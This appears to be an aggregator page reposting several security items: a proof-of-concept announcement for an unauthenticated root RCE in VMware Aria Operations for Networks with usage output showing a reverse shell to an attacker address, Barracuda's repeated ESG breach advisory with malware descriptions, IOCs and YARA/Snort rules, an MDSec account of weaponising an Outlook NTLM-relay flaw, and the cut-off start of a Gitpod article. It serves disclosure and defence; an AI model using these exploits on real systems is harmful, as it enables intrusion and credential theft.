CVE-2023-20887 VMWare Aria Operations for Networks (vRealize Network Insight) unauthenticated RCE

CVE-2023-20887 VMWare Aria Operations for Networks (vRealize Network Insight) unauthenticated RCE

Original text by summoning.team

🔥 PoC https://github.com/sinsinology/CVE-2023-20887 for CVE-2023-20887 VMWare Aria Operations for Networks (vRealize Network Insight) unauthenticated RCE
This vulnerability allows a remote unauthenticated attacker to execute arbitrary commands on the underlying operating system as the root user. The RPC interface is protected by a reverse proxy which can be bypassed.

🔖RCA here https://summoning.team/blog/vmware-vrealize-network-insight-rce-cve-2023-20887/

Usage:

$python CVE-2023-20887.py --url https://192.168.116.100 --attacker 192.168.116.1:1337
VMWare Aria Operations for Networks (vRealize Network Insight) pre-authenticated RCE || Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam)
(*) Starting handler
(+) Received connection from 192.168.116.100
(+) pop thy shell! (it's ready)
$ sudo bash
$ id
uid=0(root) gid=0(root) groups=0(root)
$ hostname
vrni-platform-release

Barracuda Email Security Gateway Appliance (ESG) Vulnerability

Barracuda Email Security Gateway Appliance (ESG) Vulnerability

Original text by Barracuda

UNE 6th, 2023:

ACTION NOTICE: Impacted ESG appliances must be immediately replaced regardless of patch version level. If you have not replaced your appliance after receiving notice in your UI, contact support now (support@barracuda.com).  

Barracuda’s remediation recommendation at this time is full replacement of the impacted ESG. 

JUNE 1st, 2023:

Preliminary Summary of Key Findings

Document History

Version/DateNotes
1.0: May 30, 2023Initial Document
1.1 : June 1, 2023Additional IOCs and rules included

Barracuda Networks’ priorities throughout this incident have been transparency and to use this as an opportunity to strengthen our policies, practices, and technology to further protect against future attacks. Although our investigation is ongoing, the purpose of this document is to share preliminary findings, provide the known Indicators of Compromise (IOCs), and share YARA rules to aid our customers in their investigations, including with respect to their own environments.

Timeline

  • On May 18, 2023, Barracuda was alerted to anomalous traffic originating from Barracuda Email Security Gateway (ESG) appliances.
  • On May 18, 2023, Barracuda engaged Mandiant, leading global cyber security experts, to assist in the investigation.
  • On May 19, 2023, Barracuda identified a vulnerability (CVE-2023-28681) in our Email Security Gateway appliance (ESG).
  • On May 20, 2023, a security patch to remediate the vulnerability was applied to all ESG appliances worldwide.
  • On May 21, 2023, a script was deployed to all impacted appliances to contain the incident and counter unauthorized access methods.
  • A series of security patches are being deployed to all appliances in furtherance of our containment strategy.

Key Findings

While the investigation is still on-going, Barracuda has concluded the following:

  • The vulnerability existed in a module which initially screens the attachments of incoming emails. No other Barracuda products, including our SaaS email security services, were subject to the vulnerability identified.
  • Earliest identified evidence of exploitation of CVE-2023-2868 is currently October 2022.
  • Barracuda identified that CVE-2023-2868 was utilized to obtain unauthorized access to a subset of ESG appliances.
  • Malware was identified on a subset of appliances allowing for persistent backdoor access.
  • Evidence of data exfiltration was identified on a subset of impacted appliances..

Users whose appliances we believe were impacted have been notified via the ESG user interface of actions to take. Barracuda has also reached out to these specific customers. Additional customers may be identified in the course of the investigation.

CVE-2023-2868

On May 19, 2023, Barracuda Networks identified a remote command injection vulnerability (CVE-2023-2868) present in the Barracuda Email Security Gateway (appliance form factor only) versions 5.1.3.001-9.2.0.006. The vulnerability stemmed from incomplete input validation of user supplied .tar files as it pertains to the names of the files contained within the archive. Consequently, a remote attacker could format file names in a particular manner that would result in remotely executing a system command through Perl’s qx operator with the privileges of the Email Security Gateway product.

Barracuda’s investigation to date has determined that a third party utilized the technique described above to gain unauthorized access to a subset of ESG appliances.

Malware

This section details the malware that has been identified to date, and to assist in tracking, codenames for the malware have been assigned.

SALTWATER

SALTWATER is a trojanized module for the Barracuda SMTP daemon (bsmtpd) that contains backdoor functionality. The capabilities of SALTWATER include the ability to upload or download arbitrary files, execute commands, as well as proxy and tunneling capabilities.

Identified at path: /home/product/code/firmware/current/lib/smtp/modules on a subset of ESG appliances.

The backdoor is implemented using hooks on the send, recv, close syscalls and amounts to five components, most of which are referred to as “Channels” within the binary. In addition to providing proxying capabilities, these components exhibit backdoor functionality.  The five (5) channels can be seen in the list below.

  • DownloadChannel
  • UploadChannel
  • ProxyChannel
  • ShellChannel
  • TunnelArgs

Mandiant is still analyzing SALTWATER to determine if it overlaps with any other known malware families.

Table 1 below provides the file metadata related to a SALTWATER variant.

NameSHA256
mod_udp.so1c6cad0ed66cf8fd438974e1eac0bc6dd9119f84892930cb71cb56a5e985f0a4
MD5File TypeSize (Bytes)
827d507aa3bde0ef903ca5dec60cdec8ELF x861,879,643

Table 1: SALTWATER variant metadata

SEASPY

SEASPY is an x64 ELF persistence backdoor that poses as a legitimate Barracuda Networks service and establishes itself as a PCAP filter, specifically monitoring traffic on port 25 (SMTP) and port 587. SEASPY contains backdoor functionality that is activated by a «magic packet».

Identified at path: /sbin/ on a subset of ESG appliances.

Mandiant analysis has identified code overlap between SEASPY and cd00r, a publicly available backdoor.

Table 2 below provides the file metadata related to a SEASPY variant.

NameSHA256
BarracudaMailService3f26a13f023ad0dcd7f2aa4e7771bba74910ee227b4b36ff72edc5f07336f115
MD5File TypeSize (Bytes)
4ca4f582418b2cc0626700511a6315c0ELF x642,924,217

Table 2: SEASPY variant metadata

SEASIDE

SEASIDE is a Lua based module for the Barracuda SMTP daemon (bsmtpd) that monitors SMTP HELO/EHLO commands to receive a command and control (C2) IP address and port which it passes as arguments to an external binary that establishes a reverse shell.

Table 3 below provides the file metadata related to a SEASIDE.

NameSHA256
mod_require_helo.luafa8996766ae347ddcbbd1818fe3a878272653601a347d76ea3d5dfc227cd0bc8
MD5File TypeSize (Bytes)
cd2813f0260d63ad5adf0446253c2172Lua module2,724

Table 3: SEASIDE metadata

Recommendations For Impacted Customers

  1. Ensure your ESG appliance is receiving and applying updates, definitions, and security patches from Barracuda. Contact Barracuda support (support@barracuda.com) to validate if the appliance is up to date.
  2. Discontinue the use of the compromised ESG appliance and contact Barracuda support (support@barracuda.com) to obtain a new ESG virtual or hardware appliance.
  3. Rotate any applicable credentials connected to the ESG appliance:
    o  Any connected LDAP/AD
    o  Barracuda Cloud Control
    o  FTP Server
    o  SMB
    o  Any private TLS certificates
  4. Review your network logs for any of the IOCs listed below and any unknown IPs. Contact compliance@barracuda.com if any are identified.

To support customers in the investigations of their environments, we are providing a list of all endpoint and network indicators observed over the course of the investigation to date. We have also developed a series of YARA rules that can be found in the section below.

Endpoint IOCs

Table 4 lists the endpoint IOCs, including malware and utilities, attributed to attacker activity during the investigation.

      File Name  MD5 HashType 
1appcheck.shN/ABash script
2aacore.shN/ABash script
31.shN/ABash script
4mod_udp.so827d507aa3bde0ef903ca5dec60cdec8SALTWATER Variant
5intentN/AN/A
6install_helo.tar2ccb9759800154de817bf779a52d48f8TAR Package
7intent_helof5ab04a920302931a8bd063f27b745ccBash script
8pd177add288b289d43236d2dba33e65956Reverse Shell
9update_v31.sh881b7846f8384c12c7481b23011d8e45Bash script
10mod_require_helo.luacd2813f0260d63ad5adf0446253c2172SEASIDE
11BarracudaMailService82eaf69de710abdc5dea7cd5cb56cf04SEASPY
12BarracudaMailServicee80a85250263d58cc1a1dc39d6cf3942SEASPY
13BarracudaMailService5d6cba7909980a7b424b133fbac634acSEASPY
14BarracudaMailService1bbb32610599d70397adfdaf56109ff3SEASPY
15BarracudaMailService4b511567cfa8dbaa32e11baf3268f074SEASPY
16BarracudaMailServicea08a99e5224e1baf569fda816c991045SEASPY
17BarracudaMailService19ebfe05040a8508467f9415c8378f32SEASPY
18mod_udp.so1fea55b7c9d13d822a64b2370d015da7SALTWATER Variant
19mod_udp.so64c690f175a2d2fe38d3d7c0d0ddbb6eSALTWATER Variant
20mod_udp.so4cd0f3219e98ac2e9021b06af70ed643SALTWATER Variant

Table 4: Endpoint IOCs

Network IOCs

Table 5 lists the network IOCs, including IP addresses and domain names, attributed to attacker activity during the investigation.

   IndicatorASNLocation
1xxl17z.dnslog.cnN/AN/A
2mx01.bestfindthetruth.comN/AN/A
364.176.7.59AS-CHOOPAUS
464.176.4.234AS-CHOOPAUS
552.23.241.105AMAZON-AESUS
623.224.42.5CloudRadium L.L.CUS
7192.74.254.229PEG TECH INCUS
8192.74.226.142PEG TECH INCUS
9155.94.160.72QuadraNet Enterprises LLCUS
10139.84.227.9AS-CHOOPAUS
11137.175.60.253PEG TECH INCUS
12137.175.53.170PEG TECH INCUS
13137.175.51.147PEG TECH INCUS
14137.175.30.36PEG TECH INCUS
15137.175.28.251PEG TECH INCUS
16137.175.19.25PEG TECH INCUS
17107.148.219.227PEG TECH INCUS
18107.148.219.55PEG TECH INCUS
19107.148.219.54PEG TECH INCUS
20107.148.219.53PEG TECH INCUS
21107.148.219.227PEG TECH INCUS
22107.148.149.156PEG TECH INCUS
23104.223.20.222QuadraNet Enterprises LLCUS
24103.93.78.142EDGENAP LTDJP
25103.27.108.62TOPWAY GLOBAL LIMITEDHK
26137.175.30.86PEGTECHINCUS
27199.247.23.80AS-CHOOPADE
2838.54.1.82KAOPU CLOUD HK LIMITEDSG
29107.148.223.196PEGTECHINCUS
3023.224.42.29CNSERVERSUS
31137.175.53.17PEGTECHINCUS
32103.146.179.101GIGABITBANK GLOBALHK

Table 5: Network IOCs

YARA Rules

CVE-2023-2868

The following three (3) YARA rules can be used to hunt for the malicious TAR file which exploits CVE-2023-2868:

rule M_Hunting_Exploit_Archive_2
 {
     meta:
         description = "Looks for TAR archive with /tmp/ base64 encoded being part of filename of enclosed files"
         date_created = "2023-05-26"
         date_modified = "2023-05-26"
         md5 = "0d67f50a0bf7a3a017784146ac41ada0"
         version = "1.0"
     strings:
         $ustar = { 75 73 74 61 72 }
         $b64_tmp = "/tmp/" base64
     condition:
         filesize < 1MB and

         $ustar at 257 and

         for any i in (0 .. #ustar) : (

             $b64_tmp in (i * 512 .. i * 512 + 250)

         )
 }

rule M_Hunting_Exploit_Archive_3
 {
     meta:
         description = "Looks for TAR archive with openssl base64 encoded being part of filename of enclosed files"
         date_created = "2023-05-26"
         date_modified = "2023-05-26"
         md5 = "0d67f50a0bf7a3a017784146ac41ada0"
         version = "1.0"
     strings:
         $ustar = { 75 73 74 61 72 }
         $b64_openssl = "openssl" base64
     condition:

         filesize < 1MB and
         $ustar at 257 and

         for any i in (0 .. #ustar) : (

             $b64_openssl in (i * 512 .. i * 512 + 250)

         )
 }

rule M_Hunting_Exploit_Archive_CVE_2023_2868
 {
     meta:
         description = "Looks for TAR archive with single quote/backtick as start of filename of enclosed files. CVE-2023-2868"
         date_created = "2023-05-26"
         date_modified = "2023-05-26"
         md5 = "0d67f50a0bf7a3a017784146ac41ada0"
         version = "1.0"
     strings:
         $ustar = { 75 73 74 61 72 }
         $qb = "'`"
     condition:

         filesize < 1MB and
         $ustar at 257 and

         for any i in (0 .. #ustar) : (

             $qb at (@ustar[i] + 255)

         )
 }

SALTWATER

The following three (3) YARA rule can be used to hunt for SALTWATER:

rule M_Hunting_Linux_Funchook
 {
     strings:
         $f = "funchook_"
         $s1 = "Enter funchook_create()"
         $s2 = "Leave funchook_create() => %p"
         $s3 = "Enter funchook_prepare(%p, %p, %p)"
         $s4 = "Leave funchook_prepare(..., [%p->%p],...) => %d"
         $s5 = "Enter funchook_install(%p, 0x%x)"
         $s6 = "Leave funchook_install() => %d"
         $s7 = "Enter funchook_uninstall(%p, 0x%x)"
         $s8 = "Leave funchook_uninstall() => %d"
         $s9 = "Enter funchook_destroy(%p)"
         $s10 = "Leave funchook_destroy() => %d"
         $s11 = "Could not modify already-installed funchook handle."
         $s12 = "  change %s address from %p to %p"
         $s13 = "  link_map addr=%p, name=%s"
         $s14 = "  ELF type is neither ET_EXEC nor ET_DYN."
         $s15 = "  not a valid ELF module %s."
         $s16 = "Failed to protect memory %p (size=%"
         $s17 = "  protect memory %p (size=%"
         $s18 = "Failed to unprotect memory %p (size=%"
         $s19 = "  unprotect memory %p (size=%"
         $s20 = "Failed to unprotect page %p (size=%"
         $s21 = "  unprotect page %p (size=%"
         $s22 = "Failed to protect page %p (size=%"
         $s23 = "  protect page %p (size=%"
         $s24 = "Failed to deallocate page %p (size=%"
         $s25 = " deallocate page %p (size=%"
         $s26 = "  allocate page %p (size=%"
         $s27 = "  try to allocate %p but %p (size=%"
         $s28 = "  allocate page %p (size=%"
         $s29 = "Could not find a free region near %p"
         $s30 = "  -- Use address %p or %p for function %p"
     condition:
         filesize < 15MB and uint32(0) == 0x464c457f and (#f > 5 or 4 of ($s*))
 }

rule M_Hunting_Linux_SALTWATER_1
 {
     strings:
         $s1 = { 71 75 69 74 0D 0A 00 00 00 33 8C 25 3D 9C 17 70 08 F9 0C 1A 41 71 55 36 1A 5C 4B 8D 29 7E 0D 78 }
         $s2 = { 00 8B D5 AD 93 B7 54 D5 00 33 8C 25 3D 9C 17 70 08 F9 0C 1A 41 71 55 36 1A 5C 4B 8D 29 7E 0D 78 }
     condition:
         filesize < 15MB and uint32(0) == 0x464c457f and any of them
 }

rule M_Hunting_Linux_SALTWATER_2
 {
     strings:
         $c1 = "TunnelArgs"
         $c2 = "DownloadChannel"
         $c3 = "UploadChannel"
         $c4 = "ProxyChannel"
         $c5 = "ShellChannel"
         $c6 = "MyWriteAll"
         $c7 = "MyReadAll"
         $c8 = "Connected2Vps"
         $c9 = "CheckRemoteIp"
         $c10 = "GetFileSize"
         $s1 = "[-] error: popen failed"
         $s2 = "/home/product/code/config/ssl_engine_cert.pem"
         $s3 = "libbindshell.so"
     condition:
         filesize < 15MB and uint32(0) == 0x464c457f and (2 of ($s*) or 4 of ($c*))
 }

The following SNORT rule can be used to hunt for SEASPY magic packets:

alert tcp any any -> any [25,587] (msg:»M_Backdoor_SEASPY»; flags:S; dsize:>9; content:»oXmp»; offset:0; depth:4; threshold:type limit,track by_src,count 1,seconds 3600; sid:1000000; rev:1;)

The following SNORT rules require Suricata 5.0.4 or newer and can be used to hunt for SEASPY magic packets:

alert tcp any any -> any [25,587] (msg:»M_Backdoor_SEASPY_1358″; flags:S; tcp.hdr; content:»|05 4e|»; offset:22; depth:2; threshold:type limit,track by_src,count 1,seconds 3600; sid:1000001; rev:1;)

alert tcp any any -> any [25,587] (msg:»M_Backdoor_SEASPY_58928″; flags:S; tcp.hdr; content:»|e6 30|»; offset:28; depth:2; byte_test:4,>,16777216,0,big,relative; threshold:type limit,track by_src,count 1,seconds 3600; sid:1000002; rev:1;)

alert tcp any any -> any [25,587] (msg:»M_Backdoor_SEASPY_58930″; flags:S; tcp.hdr; content:»|e6 32|»; offset:28; depth:2; byte_test:4,>,16777216,0,big,relative; byte_test:2,>,0,0,big,relative; threshold:type limit,track by_src,count 1,seconds 3600; sid:1000003; rev:1;)

MAY 30th, 2023:

Preliminary Summary of Key Findings

Barracuda Networks priorities throughout this incident have been transparency and to use this as an opportunity to strengthen our policies, practices, and technology to further protect against future attacks. Although our investigation is ongoing, the purpose of this document is to share preliminary findings, provide the known Indicators of Compromise (IOCs), and share YARA rules to aid our customers in their investigations, including with respect to their own environments.

Timeline

  • On May 18, 2023, Barracuda was alerted to anomalous traffic originating from Barracuda Email Security Gateway (ESG) appliances.
  • On May 18, 2023, Barracuda engaged Mandiant, leading global cyber security experts, to assist in the investigation.
  • On May 19, 2023, Barracuda identified a vulnerability (CVE-2023-28681) in our Email Security Gateway appliance (ESG).
  • On May 20, 2023, a security patch to remediate the vulnerability was applied to all ESG appliances worldwide.
  • On May 21, 2023, a script was deployed to all impacted appliances to contain the incident and counter unauthorized access methods.
  • A series of security patches are being deployed to all appliances in furtherance of our containment strategy.

Key Findings

While the investigation is still on-going, Barracuda has concluded the following:

  • The vulnerability existed in a module which initially screens the attachments of incoming emails. No other Barracuda products, including our SaaS email security services, were subject to the vulnerability identified.
  • Earliest identified evidence of exploitation of CVE-2023-2868 is currently October 2022.
  • Barracuda identified that CVE-2023-2868 was utilized to obtain unauthorized access to a subset of ESG appliances.
  • Malware was identified on a subset of appliances allowing for persistent backdoor access.
  • Evidence of data exfiltration was identified on a subset of impacted appliances.

Users whose appliances we believe were impacted have been notified via the ESG user interface of actions to take. Barracuda has also reached out to these specific customers. Additional customers may be identified in the course of the investigation.

CVE-2023-2868

On May 19, 2023, Barracuda Networks identified a remote command injection vulnerability (CVE-2023-2868) present in the Barracuda Email Security Gateway (appliance form factor only) versions 5.1.3.001-9.2.0.006. The vulnerability stemmed from incomplete input validation of user supplied .tar files as it pertains to the names of the files contained within the archive. Consequently, a remote attacker could format file names in a particular manner that would result in remotely executing a system command through Perl’s qx operator with the privileges of the Email Security Gateway product.

Barracuda’s investigation to date has determined that a third party utilized the technique described above to gain unauthorized access to a subset of ESG appliances.

Malware

This section details the malware that has been identified to date.

SALTWATER

SALTWATER is a trojanized module for the Barracuda SMTP daemon (bsmtpd) that contains backdoor functionality. The capabilities of SALTWATER include the ability to upload or download arbitrary files, execute commands, as well as proxy and tunneling capabilities.

Identified at path: /home/product/code/firmware/current/lib/smtp/modules on a subset of ESG appliances.

The backdoor is implemented using hooks on the send, recv, close syscalls and amounts to five components, most of which are referred to as “Channels” within the binary. In addition to providing backdoor and proxying capabilities, these components exhibit classic backdoor functionality.  The five (5) channels can be seen in the list below.

  • DownloadChannel
  • UploadChannel
  • ProxyChannel
  • ShellChannel
  • TunnelArgs

Mandiant is still analyzing SALTWATER to determine if it overlaps with any other known malware families. Table 1 below provides the file metadata related to a SALTWATER variant.

Table 1 below provides the file metadata related to a SALTWATER variant.

NameSHA256
mod_udp.so1c6cad0ed66cf8fd438974e1eac0bc6dd9119f84892930cb71cb56a5e985f0a4
MD5File TypeSize (Bytes)
827d507aa3bde0ef903ca5dec60cdec8ELF x861,879,643

Table 1: SALTWATER variant metadata

SEASPY

SEASPY is an x64 ELF persistence backdoor that poses as a legitimate Barracuda Networks service and establishes itself as a PCAP filter, specifically monitoring traffic on port 25 (SMTP). SEASPY also contains backdoor functionality that is activated by a «magic packet».

Identified at path: /sbin/ on a subset of ESG appliances.

Mandiant analysis has identified code overlap between SEASPY and cd00r, a publicly available backdoor.

Table 2 below provides the file metadata related to a SEASPY variant.

NameSHA256
BarracudaMailService3f26a13f023ad0dcd7f2aa4e7771bba74910ee227b4b36ff72edc5f07336f115
MD5File TypeSize (Bytes)
4ca4f582418b2cc0626700511a6315c0ELF x642,924,217

Table 2: SEASPY variant metadata

SEASIDE

SEASIDE is a Lua based module for the Barracuda SMTP daemon (bsmtpd) that monitors SMTP HELO/EHLO commands to receive a command and control (C2) IP address and port which it passes as arguments to an external binary that establishes a reverse shell.

Table 3 below provides the file metadata related to a SEASIDE.

NameSHA256
mod_require_helo.luafa8996766ae347ddcbbd1818fe3a878272653601a347d76ea3d5dfc227cd0bc8
MD5File TypeSize (Bytes)
cd2813f0260d63ad5adf0446253c2172Lua module2,724

Table 3: SEASIDE metadata

Recommendations For Impacted Customers

  1. Ensure your ESG appliance is receiving and applying updates, definitions, and security patches from Barracuda. Contact Barracuda support (support@barracuda.com) to validate if the appliance is up to date.
  2. Discontinue the use of the compromised ESG appliance and contact Barracuda support (support@barracuda.com) to obtain a new ESG virtual or hardware appliance.
  3. Rotate any applicable credentials connected to the ESG appliance:
    o  Any connected LDAP/AD
    o  Barracuda Cloud Control
    o  FTP Server
    o  SMB
    o  Any private TLS certificates
  4. Review your network logs for any of the IOCs listed below and any unknown IPs. Contact compliance@barracuda.com if any are identified.

To support customers in the investigations of their environments, we are providing a list of all endpoint and network indicators observed over the course of the investigation to date. We have also developed a series of YARA rules that can be found in the section below.

Endpoint IOCs

Table 4 lists the endpoint IOCs, including malware and utilities, attributed to attacker activity during the investigation.

      File Name  MD5 HashType 
1appcheck.shN/ABash script
2aacore.shN/ABash script
31.shN/ABash script
4mod_udp.so827d507aa3bde0ef903ca5dec60cdec8SALTWATER Variant
5intentN/AN/A
6install_helo.tar2ccb9759800154de817bf779a52d48f8TAR Package
7intent_helof5ab04a920302931a8bd063f27b745ccBash script
8pd177add288b289d43236d2dba33e65956Reverse Shell
9update_v31.sh881b7846f8384c12c7481b23011d8e45Bash script
10mod_require_helo.luacd2813f0260d63ad5adf0446253c2172SEASIDE
11BarracudaMailService82eaf69de710abdc5dea7cd5cb56cf04SEASPY
12BarracudaMailServicee80a85250263d58cc1a1dc39d6cf3942SEASPY
13BarracudaMailService5d6cba7909980a7b424b133fbac634acSEASPY
14BarracudaMailService1bbb32610599d70397adfdaf56109ff3SEASPY
15BarracudaMailService4b511567cfa8dbaa32e11baf3268f074SEASPY
16BarracudaMailServicea08a99e5224e1baf569fda816c991045SEASPY
17BarracudaMailService19ebfe05040a8508467f9415c8378f32SEASPY
18mod_udp.so1fea55b7c9d13d822a64b2370d015da7SALTWATER Variant
19mod_udp.so64c690f175a2d2fe38d3d7c0d0ddbb6eSALTWATER Variant
20mod_udp.so4cd0f3219e98ac2e9021b06af70ed643SALTWATER Variant

Table 4: Endpoint IOCs

Network IOCs

Table 5 lists the network IOCs, including IP addresses and domain names, attributed to attacker activity during the investigation.

   IndicatorASNLocation
1xxl17z.dnslog.cnN/AN/A
2mx01.bestfindthetruth.comN/AN/A
364.176.7.59AS-CHOOPAUS
464.176.4.234AS-CHOOPAUS
552.23.241.105AMAZON-AESUS
623.224.42.5CloudRadium L.L.CUS
7192.74.254.229PEG TECH INCUS
8192.74.226.142PEG TECH INCUS
9155.94.160.72QuadraNet Enterprises LLCUS
10139.84.227.9AS-CHOOPAUS
11137.175.60.253PEG TECH INCUS
12137.175.53.170PEG TECH INCUS
13137.175.51.147PEG TECH INCUS
14137.175.30.36PEG TECH INCUS
15137.175.28.251PEG TECH INCUS
16137.175.19.25PEG TECH INCUS
17107.148.219.227PEG TECH INCUS
18107.148.219.55PEG TECH INCUS
19107.148.219.54PEG TECH INCUS
20107.148.219.53PEG TECH INCUS
21107.148.219.227PEG TECH INCUS
22107.148.149.156PEG TECH INCUS
23104.223.20.222QuadraNet Enterprises LLCUS
24103.93.78.142EDGENAP LTDJP
25103.27.108.62TOPWAY GLOBAL LIMITEDHK

Table 5: Network IOCs

YARA Rules

CVE-2023-2868

The following three (3) YARA rules can be used to hunt for the malicious TAR file which exploits CVE-2023-2868:

rule M_Hunting_Exploit_Archive_2
 {
     meta:
         description = "Looks for TAR archive with /tmp/ base64 encoded being part of filename of enclosed files"
         date_created = "2023-05-26"
         date_modified = "2023-05-26"
         md5 = "0d67f50a0bf7a3a017784146ac41ada0"
         version = "1.0"
     strings:
         $ustar = { 75 73 74 61 72 }
         $b64_tmp = "/tmp/" base64
     condition:
         filesize < 1MB and

         $ustar at 257 and

         for any i in (0 .. #ustar) : (

             $b64_tmp in (i * 512 .. i * 512 + 250)

         )
 }

rule M_Hunting_Exploit_Archive_3
 {
     meta:
         description = "Looks for TAR archive with openssl base64 encoded being part of filename of enclosed files"
         date_created = "2023-05-26"
         date_modified = "2023-05-26"
         md5 = "0d67f50a0bf7a3a017784146ac41ada0"
         version = "1.0"
     strings:
         $ustar = { 75 73 74 61 72 }
         $b64_openssl = "openssl" base64
     condition:

         filesize < 1MB and
         $ustar at 257 and

         for any i in (0 .. #ustar) : (

             $b64_openssl in (i * 512 .. i * 512 + 250)

         )
 }

rule M_Hunting_Exploit_Archive_CVE_2023_2868
 {
     meta:
         description = "Looks for TAR archive with single quote/backtick as start of filename of enclosed files. CVE-2023-2868"
         date_created = "2023-05-26"
         date_modified = "2023-05-26"
         md5 = "0d67f50a0bf7a3a017784146ac41ada0"
         version = "1.0"
     strings:
         $ustar = { 75 73 74 61 72 }
         $qb = "'`"
     condition:

         filesize < 1MB and
         $ustar at 257 and

         for any i in (0 .. #ustar) : (

             $qb at (@ustar[i] + 255)

         )
 }

SALTWATER

The following three (3) YARA rule can be used to hunt for SALTWATER:

rule M_Hunting_Linux_Funchook
 {
     strings:
         $f = "funchook_"
         $s1 = "Enter funchook_create()"
         $s2 = "Leave funchook_create() => %p"
         $s3 = "Enter funchook_prepare(%p, %p, %p)"
         $s4 = "Leave funchook_prepare(..., [%p->%p],...) => %d"
         $s5 = "Enter funchook_install(%p, 0x%x)"
         $s6 = "Leave funchook_install() => %d"
         $s7 = "Enter funchook_uninstall(%p, 0x%x)"
         $s8 = "Leave funchook_uninstall() => %d"
         $s9 = "Enter funchook_destroy(%p)"
         $s10 = "Leave funchook_destroy() => %d"
         $s11 = "Could not modify already-installed funchook handle."
         $s12 = "  change %s address from %p to %p"
         $s13 = "  link_map addr=%p, name=%s"
         $s14 = "  ELF type is neither ET_EXEC nor ET_DYN."
         $s15 = "  not a valid ELF module %s."
         $s16 = "Failed to protect memory %p (size=%"
         $s17 = "  protect memory %p (size=%"
         $s18 = "Failed to unprotect memory %p (size=%"
         $s19 = "  unprotect memory %p (size=%"
         $s20 = "Failed to unprotect page %p (size=%"
         $s21 = "  unprotect page %p (size=%"
         $s22 = "Failed to protect page %p (size=%"
         $s23 = "  protect page %p (size=%"
         $s24 = "Failed to deallocate page %p (size=%"
         $s25 = " deallocate page %p (size=%"
         $s26 = "  allocate page %p (size=%"
         $s27 = "  try to allocate %p but %p (size=%"
         $s28 = "  allocate page %p (size=%"
         $s29 = "Could not find a free region near %p"
         $s30 = "  -- Use address %p or %p for function %p"
     condition:
         filesize < 15MB and uint32(0) == 0x464c457f and (#f > 5 or 4 of ($s*))
 }

rule M_Hunting_Linux_SALTWATER_1
 {
     strings:
         $s1 = { 71 75 69 74 0D 0A 00 00 00 33 8C 25 3D 9C 17 70 08 F9 0C 1A 41 71 55 36 1A 5C 4B 8D 29 7E 0D 78 }
         $s2 = { 00 8B D5 AD 93 B7 54 D5 00 33 8C 25 3D 9C 17 70 08 F9 0C 1A 41 71 55 36 1A 5C 4B 8D 29 7E 0D 78 }
     condition:
         filesize < 15MB and uint32(0) == 0x464c457f and any of them
 }

rule M_Hunting_Linux_SALTWATER_2
 {
     strings:
         $c1 = "TunnelArgs"
         $c2 = "DownloadChannel"
         $c3 = "UploadChannel"
         $c4 = "ProxyChannel"
         $c5 = "ShellChannel"
         $c6 = "MyWriteAll"
         $c7 = "MyReadAll"
         $c8 = "Connected2Vps"
         $c9 = "CheckRemoteIp"
         $c10 = "GetFileSize"
         $s1 = "[-] error: popen failed"
         $s2 = "/home/product/code/config/ssl_engine_cert.pem"
         $s3 = "libbindshell.so"
     condition:
         filesize < 15MB and uint32(0) == 0x464c457f and (2 of ($s*) or 4 of ($c*))
 }

MAY 23rd, 2023:

Barracuda identified a vulnerability (CVE-2023-2868) in our Email Security Gateway appliance (ESG) on May 19, 2023. A security patch to eliminate the vulnerability was applied to all ESG appliances worldwide on Saturday, May 20, 2023. The vulnerability existed in a module which initially screens the attachments of incoming emails. No other Barracuda products, including our SaaS email security services, were subject to this vulnerability.

We took immediate steps to investigate this vulnerability. Based on our investigation to date, we’ve identified that the vulnerability resulted in unauthorized access to a subset of email gateway appliances. As part of our containment strategy, all ESG appliances have received a second patch on May 21, 2023. Users whose appliances we believe were impacted have been notified via the ESG user interface of actions to take. Barracuda has also reached out to these specific customers.

We will continue actively monitoring this situation, and we will be transparent in sharing details on what actions we are taking. Information gathering is ongoing as part of the investigation. We want to ensure we only share validated information with actionable steps for you to take. As we have information to share, we will provide updates via this product status page (https://status.barracuda.com) and direct outreach to impacted customers. Updates are also located on Barracuda’s Trust Center (https://www.barracuda.com/company/legal).

Barracuda’s investigation was limited to the ESG product, and not the customer’s specific environment. Therefore, impacted customers should review their environments and determine any additional actions they want to take.

Your trust is important to us. We thank you for your understanding and support as we work through this issue and sincerely apologize for any inconvenience it may cause. If you have any questions, please reach out to support@barracuda.com.

Exploiting CVE-2023-23397: Microsoft Outlook Elevation of Privilege Vulnerability

Microsoft Outlook Elevation of Privilege Vulnerability windows

Original text by Dominic Chell

Today saw Microsoft patch an interesting vulnerability in Microsoft Outlook. The vulnerability is described as follows:

Microsoft Office Outlook contains a privilege escalation vulnerability that allows for a NTLM Relay attack against another service to authenticate as the user.

However, no specific details were provided on how to exploit the vulnerability.

At MDSec, we’re continually looking to weaponise both private and public vulnerabilities to assist us during our red team operations. Having recently given a talk on leveraging NTLM relaying during red team engagements at FiestaCon, this vulnerability particularly stood out to me and warranted further analysis.

While no particular details were provided, Microsoft did provide a script to audit your Exchange server for mail items that might be being used to exploit the issue.

Review of the audit script reveals it is specifically looking for the PidLidReminderFileParameterproperty inside the mail items and offers the option to “clean” it if found:

Diving in to what this property is, we find the following definition:

This property controls what filename should be played by the Outlook client when the reminder for the mail item is triggered. This is of course particularly interesting as it implies that the property accepts a filename, which of could potentially be a UNC path in order to trigger the NTLM authentication.

Following further analysis of the available properties, we also note the PidLidReminderOverride property which is described as follows:

With this in mind, we should likely set the PidLidReminderOverride property in order to trigger Outlook to parse our malicious UNC inside PidLidReminderFileParameter.

Let’s begin to build an exploit….

The first step to exploit this issue is to create an Outlook MSG file; these files are compound files in CFB format. To speed up the generation of these files, I leveraged the .NET MsgKit library.

Reviewing the MsgKit library, we find that the Appointment class defines a number of properties to add to the mail item before the MSG file is saved:

To create our malicious calendar appointment, I extended the Appointment class to add our required PidLidReminderOverride and PidLidReminderFileParameter properties, as shown above.

From that point, we simply need to create a new appointment and save it, before sending to our victim:

This vulnerability is particularly interesting as it will trigger NTLM authentication to an IP address (i.e. a system outside of the Trusted Intranet Zone or Trusted Sites) and this occurs immediately on opening the e-mail, irrespective of whether the user has selected the option to load remote images or not.

This one is worth patching as a priority as its incredibly easy to exploit and will no doubt be adopted by adversaries fast.

Here’s a demonstration of our exploit which will relay the incoming request to LDAP to obtain a shadow credential:

Gitpod remote code execution 0-day vulnerability via WebSockets

Gitpod remote code execution 0-day vulnerability via WebSockets

Original text by Elliot Ward

TLDR

This article walks us through a current Snyk Security Labs research project focusing on cloud based development environments (CDEs) — which resulted in a full workspace takeover on the Gitpod platform and extended to the user’s SCM account. The issues here have been responsibly disclosed to Gitpod and were resolved within a single working day!

Cloud development environments and Gitpod

